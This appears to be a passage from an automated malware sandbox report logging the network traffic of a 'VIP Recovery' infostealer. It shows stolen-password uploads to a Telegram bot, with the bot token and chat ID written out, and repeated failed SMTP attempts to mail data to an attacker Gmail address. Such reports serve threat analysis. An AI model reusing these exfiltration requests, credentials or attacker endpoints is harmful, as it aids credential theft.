2024-09-19 10:25:10 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 38 37 33 63 66 34 64 31 64 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcd873cf4d1d1fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:25:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:25:10 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:25:10 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12852,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	61712	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:25:10 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd873cf4d1d1f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:25:10 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 38 37 33 63 66 34 64 31 64 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcd873cf4d1d1fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:25:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:25:10 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:25:11 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12853,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 19, 2024 12:21:35.890657902 CEST	587	49745	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:35.890930891 CEST	49745	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:36.051333904 CEST	587	49745	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:36.052361965 CEST	49745	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:36.216126919 CEST	587	49745	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:38.430066109 CEST	587	49745	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:38.430318117 CEST	49745	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:38.593972921 CEST	587	49745	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:38.594217062 CEST	49745	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:38.775335073 CEST	587	49745	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:40.297022104 CEST	587	61514	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:40.297228098 CEST	61514	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:40.451419115 CEST	587	61514	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:40.451834917 CEST	61514	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:40.612756014 CEST	587	61514	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:42.436367035 CEST	587	61514	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:42.440330029 CEST	61514	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:42.599111080 CEST	587	61514	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:42.623491049 CEST	61514	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:42.814090014 CEST	587	61514	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:44.364861965 CEST	587	61518	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:44.365026951 CEST	61518	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:44.523714066 CEST	587	61518	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:44.523896933 CEST	61518	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:44.698379040 CEST	587	61518	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:46.572340012 CEST	587	61518	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:46.572945118 CEST	61518	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:46.732367039 CEST	587	61518	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:46.732692003 CEST	61518	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:46.925723076 CEST	587	61518	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:47.309850931 CEST	587	61519	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:47.310211897 CEST	61519	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:47.465162039 CEST	587	61519	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:47.465600967 CEST	61519	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:47.726684093 CEST	587	61519	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:48.590116024 CEST	587	61521	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:48.590500116 CEST	61521	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:48.746009111 CEST	587	61521	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:48.746450901 CEST	61521	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:51.879280090 CEST	587	61519	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:52.906049013 CEST	587	61521	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:53.436779976 CEST	587	61519	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:53.439429045 CEST	61519	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:53.595134974 CEST	587	61519	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:53.595400095 CEST	61519	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:53.772264004 CEST	587	61519	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:54.429022074 CEST	587	61521	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:54.429301977 CEST	61521	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:54.588046074 CEST	587	61521	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:54.588725090 CEST	61521	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:54.764228106 CEST	587	61521	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:55.416799068 CEST	587	61524	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:55.417032957 CEST	61524	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:55.571100950 CEST	587	61524	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:55.571357965 CEST	61524	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:55.728704929 CEST	587	61524	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:56.401185036 CEST	587	61525	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:56.401382923 CEST	61525	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:56.560666084 CEST	587	61525	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:56.565943956 CEST	61525	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:56.725205898 CEST	587	61525	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:21:57.436943054 CEST	587	61524	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:57.437146902 CEST	61524	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:57.592979908 CEST	587	61524	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:57.593153954 CEST	61524	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:57.765166998 CEST	587	61524	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:58.604141951 CEST	587	61525	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:21:58.604597092 CEST	61525	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:21:58.761923075 CEST	587	61525	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:21:58.762084007 CEST	61525	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:21:58.940519094 CEST	587	61525	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:21:59.388283014 CEST	587	61527	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:21:59.388421059 CEST	61527	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:21:59.548712969 CEST	587	61527	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:21:59.549084902 CEST	61527	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:21:59.706248999 CEST	587	61527	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:00.435574055 CEST	587	61529	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:00.435872078 CEST	61529	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:00.595698118 CEST	587	61529	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:00.595988035 CEST	61529	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:00.754856110 CEST	587	61529	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:01.495095968 CEST	587	61527	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:01.495265007 CEST	61527	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:01.651115894 CEST	587	61527	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:01.651247978 CEST	61527	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:01.882589102 CEST	587	61527	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:02.571254015 CEST	587	61529	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:02.571573973 CEST	61529	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:02.727488995 CEST	587	61529	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:02.727793932 CEST	61529	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:02.901767015 CEST	587	61529	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:03.400760889 CEST	587	61531	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:03.401000023 CEST	61531	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:03.559180021 CEST	587	61531	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:03.559453011 CEST	61531	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:03.720530033 CEST	587	61531	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:04.440861940 CEST	587	61533	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:04.441046953 CEST	61533	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:04.599482059 CEST	587	61533	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:04.599783897 CEST	61533	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:04.761497021 CEST	587	61533	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:06.267630100 CEST	587	61531	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:06.267879963 CEST	61531	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:06.268748999 CEST	587	61531	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:06.270240068 CEST	587	61531	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:06.446409941 CEST	587	61531	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:06.446660042 CEST	61531	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:06.449114084 CEST	587	61533	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:06.449440002 CEST	61533	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:06.610090971 CEST	587	61533	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:06.610260963 CEST	61533	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:06.632644892 CEST	587	61531	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:06.794190884 CEST	587	61533	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:08.662761927 CEST	587	61536	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:08.662942886 CEST	61536	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:08.663922071 CEST	587	61536	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:08.664061069 CEST	587	61536	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:08.819657087 CEST	587	61536	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:08.820018053 CEST	61536	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:09.116108894 CEST	587	61536	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:09.765480042 CEST	587	61537	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:09.765763044 CEST	61537	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:09.921050072 CEST	587	61537	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:09.921363115 CEST	61537	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:10.079166889 CEST	587	61537	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:11.438726902 CEST	587	61536	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:11.438920975 CEST	61536	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:11.595422983 CEST	587	61536	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:11.595679045 CEST	61536	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:11.782876015 CEST	587	61536	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:12.444386005 CEST	587	61537	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:12.444637060 CEST	61537	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:12.600804090 CEST	587	61537	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:12.601030111 CEST	61537	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:12.790983915 CEST	587	61537	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:13.413630009 CEST	587	61540	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:13.413985968 CEST	61540	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:13.573043108 CEST	587	61540	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:13.573502064 CEST	61540	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:13.734548092 CEST	587	61540	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:14.321568966 CEST	587	61541	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
